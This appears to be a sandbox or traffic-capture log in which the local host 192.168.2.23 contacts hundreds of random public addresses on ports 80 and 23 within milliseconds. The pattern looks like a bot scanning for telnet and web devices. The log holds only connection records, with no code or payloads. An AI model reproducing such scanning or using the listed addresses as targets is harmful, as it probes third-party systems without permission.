Apr 14, 2024 03:59:52.044311047 CEST	5463	80	192.168.2.23	20.205.110.124
Apr 14, 2024 03:59:52.044317007 CEST	4951	23	192.168.2.23	175.170.160.87
Apr 14, 2024 03:59:52.044317007 CEST	4951	23	192.168.2.23	115.177.223.208
Apr 14, 2024 03:59:52.044317007 CEST	5463	80	192.168.2.23	78.81.254.94
Apr 14, 2024 03:59:52.044317007 CEST	5463	80	192.168.2.23	98.75.14.160
Apr 14, 2024 03:59:52.044317961 CEST	5463	80	192.168.2.23	171.35.118.144
Apr 14, 2024 03:59:52.044328928 CEST	4951	23	192.168.2.23	221.170.36.122
Apr 14, 2024 03:59:52.044329882 CEST	4951	23	192.168.2.23	76.227.66.247
Apr 14, 2024 03:59:52.044334888 CEST	5463	80	192.168.2.23	143.145.105.92
Apr 14, 2024 03:59:52.044337988 CEST	5463	80	192.168.2.23	64.125.249.13
Apr 14, 2024 03:59:52.044337988 CEST	4951	23	192.168.2.23	137.78.160.150
Apr 14, 2024 03:59:52.044337988 CEST	5463	80	192.168.2.23	186.19.139.17
Apr 14, 2024 03:59:52.044341087 CEST	4951	23	192.168.2.23	171.114.14.231
Apr 14, 2024 03:59:52.044342041 CEST	4951	23	192.168.2.23	211.208.14.193
Apr 14, 2024 03:59:52.044342041 CEST	4951	23	192.168.2.23	35.207.96.17
Apr 14, 2024 03:59:52.044342041 CEST	4951	23	192.168.2.23	192.31.29.117
Apr 14, 2024 03:59:52.044342041 CEST	5463	80	192.168.2.23	18.127.138.151
Apr 14, 2024 03:59:52.044354916 CEST	5463	80	192.168.2.23	209.89.86.117
Apr 14, 2024 03:59:52.044365883 CEST	4951	23	192.168.2.23	119.62.78.54
Apr 14, 2024 03:59:52.044365883 CEST	4951	23	192.168.2.23	17.253.254.127
Apr 14, 2024 03:59:52.044370890 CEST	5463	80	192.168.2.23	105.144.66.67
Apr 14, 2024 03:59:52.044375896 CEST	5463	80	192.168.2.23	114.155.201.157
Apr 14, 2024 03:59:52.044379950 CEST	4951	23	192.168.2.23	70.183.184.116
Apr 14, 2024 03:59:52.044380903 CEST	5463	80	192.168.2.23	59.47.112.108
Apr 14, 2024 03:59:52.044380903 CEST	5463	80	192.168.2.23	114.34.35.66
Apr 14, 2024 03:59:52.044388056 CEST	4951	23	192.168.2.23	220.248.50.225
Apr 14, 2024 03:59:52.044388056 CEST	5463	80	192.168.2.23	92.105.83.90
Apr 14, 2024 03:59:52.044393063 CEST	4951	23	192.168.2.23	54.89.68.106
Apr 14, 2024 03:59:52.044393063 CEST	4951	23	192.168.2.23	173.144.136.203
Apr 14, 2024 03:59:52.044397116 CEST	5463	80	192.168.2.23	12.230.35.131
Apr 14, 2024 03:59:52.044397116 CEST	4951	23	192.168.2.23	75.95.167.133
Apr 14, 2024 03:59:52.044409990 CEST	5463	80	192.168.2.23	112.91.4.161
Apr 14, 2024 03:59:52.044409990 CEST	5463	80	192.168.2.23	200.67.131.24
Apr 14, 2024 03:59:52.044409990 CEST	4951	23	192.168.2.23	24.107.236.230
Apr 14, 2024 03:59:52.044418097 CEST	4951	23	192.168.2.23	133.85.190.136
Apr 14, 2024 03:59:52.044418097 CEST	5463	80	192.168.2.23	116.255.249.26
Apr 14, 2024 03:59:52.044419050 CEST	5463	80	192.168.2.23	178.109.185.189
Apr 14, 2024 03:59:52.044419050 CEST	5463	80	192.168.2.23	183.161.130.137
Apr 14, 2024 03:59:52.044419050 CEST	5463	80	192.168.2.23	4.221.173.16
Apr 14, 2024 03:59:52.044419050 CEST	5463	80	192.168.2.23	125.166.3.162
Apr 14, 2024 03:59:52.044419050 CEST	4951	23	192.168.2.23	140.84.88.42
Apr 14, 2024 03:59:52.044419050 CEST	4951	23	192.168.2.23	77.104.182.37
Apr 14, 2024 03:59:52.044425011 CEST	5463	80	192.168.2.23	17.141.108.26
Apr 14, 2024 03:59:52.044434071 CEST	5463	80	192.168.2.23	72.168.9.127
Apr 14, 2024 03:59:52.044437885 CEST	4951	23	192.168.2.23	112.85.30.162
Apr 14, 2024 03:59:52.044440985 CEST	4951	23	192.168.2.23	181.169.122.40
Apr 14, 2024 03:59:52.044446945 CEST	5463	80	192.168.2.23	32.180.47.209
Apr 14, 2024 03:59:52.044449091 CEST	5463	80	192.168.2.23	189.106.85.21
Apr 14, 2024 03:59:52.044456005 CEST	5463	80	192.168.2.23	163.205.190.190
Apr 14, 2024 03:59:52.044456005 CEST	4951	23	192.168.2.23	136.98.128.142
Apr 14, 2024 03:59:52.044456959 CEST	4951	23	192.168.2.23	18.57.23.252
Apr 14, 2024 03:59:52.044456959 CEST	4951	23	192.168.2.23	105.44.142.55
Apr 14, 2024 03:59:52.044457912 CEST	5463	80	192.168.2.23	133.31.133.182
Apr 14, 2024 03:59:52.044466019 CEST	4951	23	192.168.2.23	68.91.12.143
Apr 14, 2024 03:59:52.044473886 CEST	4951	23	192.168.2.23	37.82.171.156
Apr 14, 2024 03:59:52.044473886 CEST	5463	80	192.168.2.23	145.226.254.38
Apr 14, 2024 03:59:52.044482946 CEST	5463	80	192.168.2.23	172.114.31.57
Apr 14, 2024 03:59:52.044483900 CEST	5463	80	192.168.2.23	199.137.77.12
Apr 14, 2024 03:59:52.044490099 CEST	4951	23	192.168.2.23	202.248.51.73
Apr 14, 2024 03:59:52.044492006 CEST	4951	23	192.168.2.23	184.210.209.92
Apr 14, 2024 03:59:52.044492960 CEST	4951	23	192.168.2.23	92.63.209.121
Apr 14, 2024 03:59:52.044501066 CEST	5463	80	192.168.2.23	68.13.227.121
Apr 14, 2024 03:59:52.044501066 CEST	4951	23	192.168.2.23	145.199.168.33
Apr 14, 2024 03:59:52.044502020 CEST	4951	23	192.168.2.23	126.28.198.77
Apr 14, 2024 03:59:52.044501066 CEST	4951	23	192.168.2.23	128.78.142.12
Apr 14, 2024 03:59:52.044502020 CEST	4951	23	192.168.2.23	154.65.56.57
Apr 14, 2024 03:59:52.044504881 CEST	5463	80	192.168.2.23	99.130.220.168
Apr 14, 2024 03:59:52.044504881 CEST	5463	80	192.168.2.23	180.93.48.165
Apr 14, 2024 03:59:52.044504881 CEST	5463	80	192.168.2.23	158.18.67.161
Apr 14, 2024 03:59:52.044504881 CEST	4951	23	192.168.2.23	166.149.163.128
Apr 14, 2024 03:59:52.044509888 CEST	4951	23	192.168.2.23	120.63.96.151
Apr 14, 2024 03:59:52.044517994 CEST	4951	23	192.168.2.23	137.1.115.109
Apr 14, 2024 03:59:52.044517994 CEST	4951	23	192.168.2.23	78.169.230.57
Apr 14, 2024 03:59:52.044518948 CEST	4951	23	192.168.2.23	71.17.5.48
Apr 14, 2024 03:59:52.044528008 CEST	4951	23	192.168.2.23	223.247.123.188
Apr 14, 2024 03:59:52.044528008 CEST	5463	80	192.168.2.23	104.24.132.46
Apr 14, 2024 03:59:52.044531107 CEST	4951	23	192.168.2.23	104.188.203.157
Apr 14, 2024 03:59:52.044533968 CEST	5463	80	192.168.2.23	86.52.123.254
Apr 14, 2024 03:59:52.044534922 CEST	4951	23	192.168.2.23	102.228.146.83
Apr 14, 2024 03:59:52.044548988 CEST	5463	80	192.168.2.23	164.184.1.171
Apr 14, 2024 03:59:52.044547081 CEST	5463	80	192.168.2.23	60.238.238.112
Apr 14, 2024 03:59:52.044548988 CEST	5463	80	192.168.2.23	42.107.179.54
Apr 14, 2024 03:59:52.044547081 CEST	4951	23	192.168.2.23	190.61.213.120
Apr 14, 2024 03:59:52.044548988 CEST	5463	80	192.168.2.23	157.242.142.197
Apr 14, 2024 03:59:52.044548988 CEST	5463	80	192.168.2.23	194.212.227.83
Apr 14, 2024 03:59:52.044550896 CEST	4951	23	192.168.2.23	31.232.40.59
Apr 14, 2024 03:59:52.044559002 CEST	4951	23	192.168.2.23	194.87.183.5
Apr 14, 2024 03:59:52.044564009 CEST	5463	80	192.168.2.23	126.142.194.25
Apr 14, 2024 03:59:52.044564009 CEST	4951	23	192.168.2.23	208.97.70.199
Apr 14, 2024 03:59:52.044569016 CEST	5463	80	192.168.2.23	176.200.251.117
Apr 14, 2024 03:59:52.044569016 CEST	4951	23	192.168.2.23	92.111.52.24
Apr 14, 2024 03:59:52.044584036 CEST	4951	23	192.168.2.23	115.241.254.134
Apr 14, 2024 03:59:52.044585943 CEST	5463	80	192.168.2.23	177.13.42.37
Apr 14, 2024 03:59:52.044586897 CEST	4951	23	192.168.2.23	39.112.150.139
Apr 14, 2024 03:59:52.044586897 CEST	5463	80	192.168.2.23	77.18.168.16
Apr 14, 2024 03:59:52.044595957 CEST	5463	80	192.168.2.23	192.74.200.150
Apr 14, 2024 03:59:52.044595957 CEST	4951	23	192.168.2.23	35.148.0.154
Apr 14, 2024 03:59:52.044604063 CEST	5463	80	192.168.2.23	138.49.246.86
Apr 14, 2024 03:59:52.044610023 CEST	5463	80	192.168.2.23	70.98.221.193
Apr 14, 2024 03:59:52.044612885 CEST	5463	80	192.168.2.23	202.59.251.212
Apr 14, 2024 03:59:52.044612885 CEST	5463	80	192.168.2.23	159.122.61.180
Apr 14, 2024 03:59:52.044615030 CEST	4951	23	192.168.2.23	58.162.128.222
Apr 14, 2024 03:59:52.044621944 CEST	5463	80	192.168.2.23	39.128.108.233
Apr 14, 2024 03:59:52.044621944 CEST	5463	80	192.168.2.23	148.96.236.211
Apr 14, 2024 03:59:52.044627905 CEST	5463	80	192.168.2.23	130.151.83.181
Apr 14, 2024 03:59:52.044629097 CEST	5463	80	192.168.2.23	57.18.36.213
Apr 14, 2024 03:59:52.044629097 CEST	5463	80	192.168.2.23	72.43.117.71
Apr 14, 2024 03:59:52.044627905 CEST	4951	23	192.168.2.23	125.101.222.143
Apr 14, 2024 03:59:52.044636011 CEST	5463	80	192.168.2.23	182.204.158.175
Apr 14, 2024 03:59:52.044640064 CEST	5463	80	192.168.2.23	72.94.251.108
Apr 14, 2024 03:59:52.044641972 CEST	4951	23	192.168.2.23	101.231.212.251
Apr 14, 2024 03:59:52.044641972 CEST	4951	23	192.168.2.23	46.145.77.204
Apr 14, 2024 03:59:52.044641972 CEST	4951	23	192.168.2.23	67.196.177.64
Apr 14, 2024 03:59:52.044644117 CEST	4951	23	192.168.2.23	191.7.161.156
Apr 14, 2024 03:59:52.044644117 CEST	5463	80	192.168.2.23	170.233.22.45
Apr 14, 2024 03:59:52.044644117 CEST	5463	80	192.168.2.23	69.230.60.136
Apr 14, 2024 03:59:52.044653893 CEST	5463	80	192.168.2.23	198.217.216.197
Apr 14, 2024 03:59:52.044657946 CEST	4951	23	192.168.2.23	220.168.44.151
Apr 14, 2024 03:59:52.044661045 CEST	5463	80	192.168.2.23	76.133.142.80
Apr 14, 2024 03:59:52.044661045 CEST	4951	23	192.168.2.23	184.28.38.247
Apr 14, 2024 03:59:52.044668913 CEST	4951	23	192.168.2.23	186.16.191.211
Apr 14, 2024 03:59:52.044670105 CEST	4951	23	192.168.2.23	191.20.184.196
Apr 14, 2024 03:59:52.044670105 CEST	4951	23	192.168.2.23	196.20.203.224
Apr 14, 2024 03:59:52.044682026 CEST	5463	80	192.168.2.23	27.1.81.124
Apr 14, 2024 03:59:52.044682026 CEST	5463	80	192.168.2.23	45.207.19.84
Apr 14, 2024 03:59:52.044683933 CEST	5463	80	192.168.2.23	145.25.32.245
Apr 14, 2024 03:59:52.044693947 CEST	5463	80	192.168.2.23	37.237.197.57
Apr 14, 2024 03:59:52.044708014 CEST	5463	80	192.168.2.23	79.10.107.169
Apr 14, 2024 03:59:52.044715881 CEST	4951	23	192.168.2.23	85.146.125.163
Apr 14, 2024 03:59:52.044715881 CEST	5463	80	192.168.2.23	121.150.9.237
Apr 14, 2024 03:59:52.044717073 CEST	5463	80	192.168.2.23	174.157.220.225
Apr 14, 2024 03:59:52.044719934 CEST	5463	80	192.168.2.23	63.152.86.123
Apr 14, 2024 03:59:52.044719934 CEST	4951	23	192.168.2.23	38.19.118.122
Apr 14, 2024 03:59:52.044722080 CEST	4951	23	192.168.2.23	198.178.66.68
Apr 14, 2024 03:59:52.044722080 CEST	5463	80	192.168.2.23	220.160.186.158
Apr 14, 2024 03:59:52.044722080 CEST	5463	80	192.168.2.23	194.209.205.229
Apr 14, 2024 03:59:52.044722080 CEST	4951	23	192.168.2.23	123.35.138.224
Apr 14, 2024 03:59:52.044725895 CEST	4951	23	192.168.2.23	206.139.3.1
Apr 14, 2024 03:59:52.044725895 CEST	4951	23	192.168.2.23	103.107.101.104
Apr 14, 2024 03:59:52.044725895 CEST	5463	80	192.168.2.23	158.35.237.108
Apr 14, 2024 03:59:52.044725895 CEST	4951	23	192.168.2.23	217.65.169.4
Apr 14, 2024 03:59:52.044725895 CEST	5463	80	192.168.2.23	78.158.235.145
Apr 14, 2024 03:59:52.044725895 CEST	5463	80	192.168.2.23	57.141.126.50
Apr 14, 2024 03:59:52.044737101 CEST	4951	23	192.168.2.23	186.1.61.28
Apr 14, 2024 03:59:52.044749022 CEST	4951	23	192.168.2.23	110.115.228.12
Apr 14, 2024 03:59:52.044754028 CEST	5463	80	192.168.2.23	171.142.60.239
Apr 14, 2024 03:59:52.044754028 CEST	5463	80	192.168.2.23	14.245.49.32
Apr 14, 2024 03:59:52.044754028 CEST	5463	80	192.168.2.23	81.95.248.6
Apr 14, 2024 03:59:52.044754982 CEST	5463	80	192.168.2.23	69.178.57.25
Apr 14, 2024 03:59:52.044756889 CEST	5463	80	192.168.2.23	212.196.37.19
Apr 14, 2024 03:59:52.044756889 CEST	5463	80	192.168.2.23	181.188.233.217
Apr 14, 2024 03:59:52.044758081 CEST	5463	80	192.168.2.23	25.88.62.8
Apr 14, 2024 03:59:52.044760942 CEST	4951	23	192.168.2.23	129.60.87.162
Apr 14, 2024 03:59:52.044774055 CEST	5463	80	192.168.2.23	70.44.87.140
Apr 14, 2024 03:59:52.044776917 CEST	5463	80	192.168.2.23	40.253.175.66
Apr 14, 2024 03:59:52.044778109 CEST	5463	80	192.168.2.23	105.111.190.22
Apr 14, 2024 03:59:52.044783115 CEST	4951	23	192.168.2.23	41.26.234.96
Apr 14, 2024 03:59:52.044783115 CEST	4951	23	192.168.2.23	2.135.180.196
Apr 14, 2024 03:59:52.044789076 CEST	4951	23	192.168.2.23	115.221.49.204
Apr 14, 2024 03:59:52.044799089 CEST	4951	23	192.168.2.23	153.162.158.190
Apr 14, 2024 03:59:52.044799089 CEST	4951	23	192.168.2.23	113.128.125.219
Apr 14, 2024 03:59:52.044800997 CEST	5463	80	192.168.2.23	50.245.210.30
Apr 14, 2024 03:59:52.044802904 CEST	4951	23	192.168.2.23	76.15.193.109
Apr 14, 2024 03:59:52.044802904 CEST	5463	80	192.168.2.23	65.81.75.175
Apr 14, 2024 03:59:52.044804096 CEST	4951	23	192.168.2.23	175.80.79.135
Apr 14, 2024 03:59:52.044806004 CEST	5463	80	192.168.2.23	136.170.139.251
Apr 14, 2024 03:59:52.044817924 CEST	4951	23	192.168.2.23	109.120.120.20
Apr 14, 2024 03:59:52.044823885 CEST	5463	80	192.168.2.23	97.29.242.143
Apr 14, 2024 03:59:52.044823885 CEST	5463	80	192.168.2.23	77.242.238.177
Apr 14, 2024 03:59:52.044826984 CEST	4951	23	192.168.2.23	37.202.147.44
Apr 14, 2024 03:59:52.044827938 CEST	5463	80	192.168.2.23	86.90.88.224
Apr 14, 2024 03:59:52.044830084 CEST	5463	80	192.168.2.23	155.20.126.57
Apr 14, 2024 03:59:52.044830084 CEST	4951	23	192.168.2.23	156.138.78.104
Apr 14, 2024 03:59:52.044830084 CEST	5463	80	192.168.2.23	190.71.28.28
Apr 14, 2024 03:59:52.044835091 CEST	5463	80	192.168.2.23	109.192.248.51
Apr 14, 2024 03:59:52.044835091 CEST	4951	23	192.168.2.23	99.199.103.110
Apr 14, 2024 03:59:52.044840097 CEST	5463	80	192.168.2.23	96.59.193.125
Apr 14, 2024 03:59:52.044840097 CEST	4951	23	192.168.2.23	196.175.25.220
Apr 14, 2024 03:59:52.044842958 CEST	4951	23	192.168.2.23	42.253.197.243
Apr 14, 2024 03:59:52.044852018 CEST	4951	23	192.168.2.23	98.140.104.244
Apr 14, 2024 03:59:52.044852018 CEST	5463	80	192.168.2.23	64.3.119.159
Apr 14, 2024 03:59:52.044853926 CEST	5463	80	192.168.2.23	136.81.151.177
Apr 14, 2024 03:59:52.044857025 CEST	4951	23	192.168.2.23	119.89.43.82
Apr 14, 2024 03:59:52.044862986 CEST	5463	80	192.168.2.23	13.32.172.206
Apr 14, 2024 03:59:52.044864893 CEST	4951	23	192.168.2.23	193.180.167.10
Apr 14, 2024 03:59:52.044872046 CEST	5463	80	192.168.2.23	174.33.8.231
Apr 14, 2024 03:59:52.044877052 CEST	4951	23	192.168.2.23	25.89.243.32
Apr 14, 2024 03:59:52.044878960 CEST	4951	23	192.168.2.23	182.236.107.52
Apr 14, 2024 03:59:52.044878960 CEST	4951	23	192.168.2.23	151.35.93.88
Apr 14, 2024 03:59:52.044879913 CEST	4951	23	192.168.2.23	159.153.116.131
Apr 14, 2024 03:59:52.044878960 CEST	5463	80	192.168.2.23	46.96.173.147
Apr 14, 2024 03:59:52.044881105 CEST	5463	80	192.168.2.23	67.10.142.24
Apr 14, 2024 03:59:52.044884920 CEST	4951	23	192.168.2.23	140.221.198.30
Apr 14, 2024 03:59:52.044891119 CEST	4951	23	192.168.2.23	204.77.180.41
Apr 14, 2024 03:59:52.044892073 CEST	4951	23	192.168.2.23	96.205.200.145
Apr 14, 2024 03:59:52.044913054 CEST	5463	80	192.168.2.23	184.86.226.250
Apr 14, 2024 03:59:52.044913054 CEST	5463	80	192.168.2.23	196.44.86.111
Apr 14, 2024 03:59:52.044914007 CEST	4951	23	192.168.2.23	1.153.79.72
Apr 14, 2024 03:59:52.044914007 CEST	5463	80	192.168.2.23	19.143.145.124
Apr 14, 2024 03:59:52.044914007 CEST	4951	23	192.168.2.23	160.70.113.116
Apr 14, 2024 03:59:52.044914007 CEST	5463	80	192.168.2.23	57.119.132.185
Apr 14, 2024 03:59:52.044925928 CEST	4951	23	192.168.2.23	206.146.88.112
Apr 14, 2024 03:59:52.044925928 CEST	5463	80	192.168.2.23	152.182.238.70
Apr 14, 2024 03:59:52.044929981 CEST	5463	80	192.168.2.23	27.215.201.80
Apr 14, 2024 03:59:52.044929981 CEST	4951	23	192.168.2.23	92.51.142.4
Apr 14, 2024 03:59:52.044929981 CEST	5463	80	192.168.2.23	134.27.49.224
Apr 14, 2024 03:59:52.044933081 CEST	4951	23	192.168.2.23	53.5.97.168
Apr 14, 2024 03:59:52.044945002 CEST	5463	80	192.168.2.23	93.14.10.42
Apr 14, 2024 03:59:52.044946909 CEST	5463	80	192.168.2.23	171.247.14.79
Apr 14, 2024 03:59:52.044946909 CEST	4951	23	192.168.2.23	110.124.175.152
Apr 14, 2024 03:59:52.044953108 CEST	5463	80	192.168.2.23	92.71.2.80
Apr 14, 2024 03:59:52.044955015 CEST	5463	80	192.168.2.23	24.156.182.22
Apr 14, 2024 03:59:52.044955969 CEST	4951	23	192.168.2.23	72.225.146.67
Apr 14, 2024 03:59:52.044955969 CEST	4951	23	192.168.2.23	176.92.207.127
Apr 14, 2024 03:59:52.044955969 CEST	4951	23	192.168.2.23	40.110.240.40
Apr 14, 2024 03:59:52.044961929 CEST	4951	23	192.168.2.23	86.59.173.62
Apr 14, 2024 03:59:52.044964075 CEST	5463	80	192.168.2.23	191.70.212.186
Apr 14, 2024 03:59:52.044964075 CEST	5463	80	192.168.2.23	79.88.26.81
Apr 14, 2024 03:59:52.044964075 CEST	4951	23	192.168.2.23	164.214.196.177
Apr 14, 2024 03:59:52.044965029 CEST	4951	23	192.168.2.23	63.244.246.47
Apr 14, 2024 03:59:52.044966936 CEST	4951	23	192.168.2.23	92.187.234.226
Apr 14, 2024 03:59:52.045010090 CEST	4951	23	192.168.2.23	140.230.68.117
Apr 14, 2024 03:59:52.045053005 CEST	5463	80	192.168.2.23	192.68.254.150
Apr 14, 2024 03:59:52.045058012 CEST	5463	80	192.168.2.23	1.17.66.15
Apr 14, 2024 03:59:52.045072079 CEST	5463	80	192.168.2.23	76.91.87.129
Apr 14, 2024 03:59:52.045073986 CEST	5463	80	192.168.2.23	146.165.54.1
Apr 14, 2024 03:59:52.045078039 CEST	5463	80	192.168.2.23	90.206.31.221
Apr 14, 2024 03:59:52.045084000 CEST	5463	80	192.168.2.23	102.102.34.218
Apr 14, 2024 03:59:52.045087099 CEST	5463	80	192.168.2.23	128.231.84.176
Apr 14, 2024 03:59:52.045087099 CEST	5463	80	192.168.2.23	83.137.47.188
Apr 14, 2024 03:59:52.045099974 CEST	5463	80	192.168.2.23	172.148.254.137
Apr 14, 2024 03:59:52.045101881 CEST	5463	80	192.168.2.23	37.34.242.224
Apr 14, 2024 03:59:52.045105934 CEST	5463	80	192.168.2.23	183.228.232.16
Apr 14, 2024 03:59:52.045109034 CEST	5463	80	192.168.2.23	80.183.233.192
Apr 14, 2024 03:59:52.045110941 CEST	5463	80	192.168.2.23	71.204.30.209
Apr 14, 2024 03:59:52.045126915 CEST	5463	80	192.168.2.23	13.163.150.244
Apr 14, 2024 03:59:52.045129061 CEST	5463	80	192.168.2.23	163.49.118.10
Apr 14, 2024 03:59:52.045131922 CEST	5463	80	192.168.2.23	66.185.21.231
Apr 14, 2024 03:59:52.045135975 CEST	5463	80	192.168.2.23	23.69.60.31
Apr 14, 2024 03:59:52.045136929 CEST	5463	80	192.168.2.23	19.244.65.254
Apr 14, 2024 03:59:52.045145035 CEST	5463	80	192.168.2.23	107.126.148.153
Apr 14, 2024 03:59:52.045147896 CEST	5463	80	192.168.2.23	48.87.16.162
Apr 14, 2024 03:59:52.045161963 CEST	5463	80	192.168.2.23	161.228.17.144
Apr 14, 2024 03:59:52.045178890 CEST	5463	80	192.168.2.23	177.35.201.236
Apr 14, 2024 03:59:52.045178890 CEST	5463	80	192.168.2.23	192.245.69.114
Apr 14, 2024 03:59:52.045180082 CEST	5463	80	192.168.2.23	180.179.168.250
Apr 14, 2024 03:59:52.045193911 CEST	5463	80	192.168.2.23	90.199.2.150
Apr 14, 2024 03:59:52.045193911 CEST	5463	80	192.168.2.23	83.248.79.215
Apr 14, 2024 03:59:52.045193911 CEST	5463	80	192.168.2.23	201.211.46.149
Apr 14, 2024 03:59:52.045206070 CEST	5463	80	192.168.2.23	180.102.46.58
Apr 14, 2024 03:59:52.045206070 CEST	5463	80	192.168.2.23	27.106.23.212
Apr 14, 2024 03:59:52.045207977 CEST	5463	80	192.168.2.23	107.248.35.205
Apr 14, 2024 03:59:52.045207977 CEST	5463	80	192.168.2.23	37.180.153.18
Apr 14, 2024 03:59:52.045207977 CEST	5463	80	192.168.2.23	144.28.243.229
Apr 14, 2024 03:59:52.045212030 CEST	4951	23	192.168.2.23	8.29.45.212
Apr 14, 2024 03:59:52.045216084 CEST	4951	23	192.168.2.23	109.144.135.145
Apr 14, 2024 03:59:52.045218945 CEST	4951	23	192.168.2.23	80.196.146.193
Apr 14, 2024 03:59:52.045228958 CEST	5463	80	192.168.2.23	161.112.180.125
Apr 14, 2024 03:59:52.045228958 CEST	4951	23	192.168.2.23	42.88.111.35
Apr 14, 2024 03:59:52.045233965 CEST	5463	80	192.168.2.23	207.224.174.159
Apr 14, 2024 03:59:52.045245886 CEST	4951	23	192.168.2.23	199.38.252.64
Apr 14, 2024 03:59:52.045247078 CEST	5463	80	192.168.2.23	95.149.141.61
Apr 14, 2024 03:59:52.045247078 CEST	4951	23	192.168.2.23	110.167.15.232
Apr 14, 2024 03:59:52.045247078 CEST	5463	80	192.168.2.23	133.138.150.20
Apr 14, 2024 03:59:52.045255899 CEST	4951	23	192.168.2.23	220.97.114.156
Apr 14, 2024 03:59:52.045255899 CEST	4951	23	192.168.2.23	160.236.141.6
Apr 14, 2024 03:59:52.045257092 CEST	4951	23	192.168.2.23	17.213.114.76
Apr 14, 2024 03:59:52.045258999 CEST	5463	80	192.168.2.23	32.208.104.253
Apr 14, 2024 03:59:52.045263052 CEST	5463	80	192.168.2.23	195.91.167.89
Apr 14, 2024 03:59:52.045277119 CEST	5463	80	192.168.2.23	197.171.80.35
Apr 14, 2024 03:59:52.045279026 CEST	5463	80	192.168.2.23	162.12.207.186
Apr 14, 2024 03:59:52.045279026 CEST	5463	80	192.168.2.23	167.209.70.145
Apr 14, 2024 03:59:52.045284033 CEST	5463	80	192.168.2.23	60.11.230.9
Apr 14, 2024 03:59:52.045284033 CEST	4951	23	192.168.2.23	136.133.186.39
Apr 14, 2024 03:59:52.045370102 CEST	5463	80	192.168.2.23	8.120.178.5
Apr 14, 2024 03:59:52.045371056 CEST	5463	80	192.168.2.23	126.139.253.22
Apr 14, 2024 03:59:52.045399904 CEST	5463	80	192.168.2.23	178.124.8.175
Apr 14, 2024 03:59:52.045401096 CEST	5463	80	192.168.2.23	114.67.243.197
Apr 14, 2024 03:59:52.045403957 CEST	5463	80	192.168.2.23	141.170.6.213
Apr 14, 2024 03:59:52.045408964 CEST	5463	80	192.168.2.23	93.225.203.113
Apr 14, 2024 03:59:52.045411110 CEST	5463	80	192.168.2.23	108.93.170.5
Apr 14, 2024 03:59:52.045423031 CEST	5463	80	192.168.2.23	90.136.24.80
Apr 14, 2024 03:59:52.045449972 CEST	5463	80	192.168.2.23	128.170.5.113
Apr 14, 2024 03:59:52.045454025 CEST	5463	80	192.168.2.23	223.219.242.195
Apr 14, 2024 03:59:52.045461893 CEST	5463	80	192.168.2.23	82.110.113.239
Apr 14, 2024 03:59:52.045464993 CEST	5463	80	192.168.2.23	181.209.28.11
Apr 14, 2024 03:59:52.045485973 CEST	5463	80	192.168.2.23	211.121.72.56
Apr 14, 2024 03:59:52.045488119 CEST	5463	80	192.168.2.23	112.171.141.165
Apr 14, 2024 03:59:52.045500994 CEST	5463	80	192.168.2.23	209.38.102.60
Apr 14, 2024 03:59:52.045511007 CEST	5463	80	192.168.2.23	125.44.110.156
Apr 14, 2024 03:59:52.045536995 CEST	5463	80	192.168.2.23	124.125.244.105
Apr 14, 2024 03:59:52.045551062 CEST	5463	80	192.168.2.23	45.171.150.84
Apr 14, 2024 03:59:52.045552969 CEST	5463	80	192.168.2.23	122.198.190.182
Apr 14, 2024 03:59:52.045558929 CEST	5463	80	192.168.2.23	197.143.177.217
Apr 14, 2024 03:59:52.045563936 CEST	5463	80	192.168.2.23	138.219.116.245
Apr 14, 2024 03:59:52.045577049 CEST	5463	80	192.168.2.23	27.81.148.100
Apr 14, 2024 03:59:52.045577049 CEST	5463	80	192.168.2.23	217.147.247.84
Apr 14, 2024 03:59:52.045578003 CEST	5463	80	192.168.2.23	100.206.247.88
Apr 14, 2024 03:59:52.045593023 CEST	5463	80	192.168.2.23	34.234.135.74
Apr 14, 2024 03:59:52.045593977 CEST	5463	80	192.168.2.23	14.11.195.171
Apr 14, 2024 03:59:52.045597076 CEST	5463	80	192.168.2.23	154.214.95.210
Apr 14, 2024 03:59:52.045608997 CEST	5463	80	192.168.2.23	162.189.24.103
Apr 14, 2024 03:59:52.045613050 CEST	5463	80	192.168.2.23	91.219.231.93
Apr 14, 2024 03:59:52.045615911 CEST	5463	80	192.168.2.23	212.160.109.214
Apr 14, 2024 03:59:52.045617104 CEST	5463	80	192.168.2.23	35.0.92.17
Apr 14, 2024 03:59:52.045617104 CEST	5463	80	192.168.2.23	186.87.215.69
Apr 14, 2024 03:59:52.045619011 CEST	5463	80	192.168.2.23	190.151.193.170
Apr 14, 2024 03:59:52.045630932 CEST	5463	80	192.168.2.23	179.83.74.56
Apr 14, 2024 03:59:52.045630932 CEST	5463	80	192.168.2.23	191.187.179.104
Apr 14, 2024 03:59:52.045643091 CEST	5463	80	192.168.2.23	80.176.161.211
Apr 14, 2024 03:59:52.045643091 CEST	5463	80	192.168.2.23	102.213.197.195
Apr 14, 2024 03:59:52.045643091 CEST	5463	80	192.168.2.23	64.27.33.122
Apr 14, 2024 03:59:52.045655012 CEST	5463	80	192.168.2.23	2.205.84.101
Apr 14, 2024 03:59:52.045660019 CEST	5463	80	192.168.2.23	169.216.160.83
Apr 14, 2024 03:59:52.045670033 CEST	5463	80	192.168.2.23	87.104.145.159
Apr 14, 2024 03:59:52.045670986 CEST	5463	80	192.168.2.23	41.219.6.162
Apr 14, 2024 03:59:52.045676947 CEST	5463	80	192.168.2.23	70.0.61.163
Apr 14, 2024 03:59:52.045689106 CEST	5463	80	192.168.2.23	103.207.188.113
Apr 14, 2024 03:59:52.045691967 CEST	5463	80	192.168.2.23	129.137.233.120
Apr 14, 2024 03:59:52.045702934 CEST	5463	80	192.168.2.23	109.44.107.191
Apr 14, 2024 03:59:52.045705080 CEST	5463	80	192.168.2.23	12.158.113.12
Apr 14, 2024 03:59:52.045702934 CEST	5463	80	192.168.2.23	114.202.249.147
Apr 14, 2024 03:59:52.045702934 CEST	5463	80	192.168.2.23	193.103.59.206
Apr 14, 2024 03:59:52.045707941 CEST	5463	80	192.168.2.23	79.6.29.13
Apr 14, 2024 03:59:52.045708895 CEST	5463	80	192.168.2.23	203.124.206.37
Apr 14, 2024 03:59:52.045712948 CEST	5463	80	192.168.2.23	216.77.213.56
Apr 14, 2024 03:59:52.045712948 CEST	5463	80	192.168.2.23	146.70.119.143
Apr 14, 2024 03:59:52.045723915 CEST	5463	80	192.168.2.23	57.251.33.200
Apr 14, 2024 03:59:52.045736074 CEST	5463	80	192.168.2.23	117.17.122.146
Apr 14, 2024 03:59:52.045736074 CEST	5463	80	192.168.2.23	178.194.218.19
Apr 14, 2024 03:59:52.045737028 CEST	5463	80	192.168.2.23	67.40.165.246
Apr 14, 2024 03:59:52.045738935 CEST	5463	80	192.168.2.23	71.196.174.207
Apr 14, 2024 03:59:52.045751095 CEST	5463	80	192.168.2.23	82.125.73.134
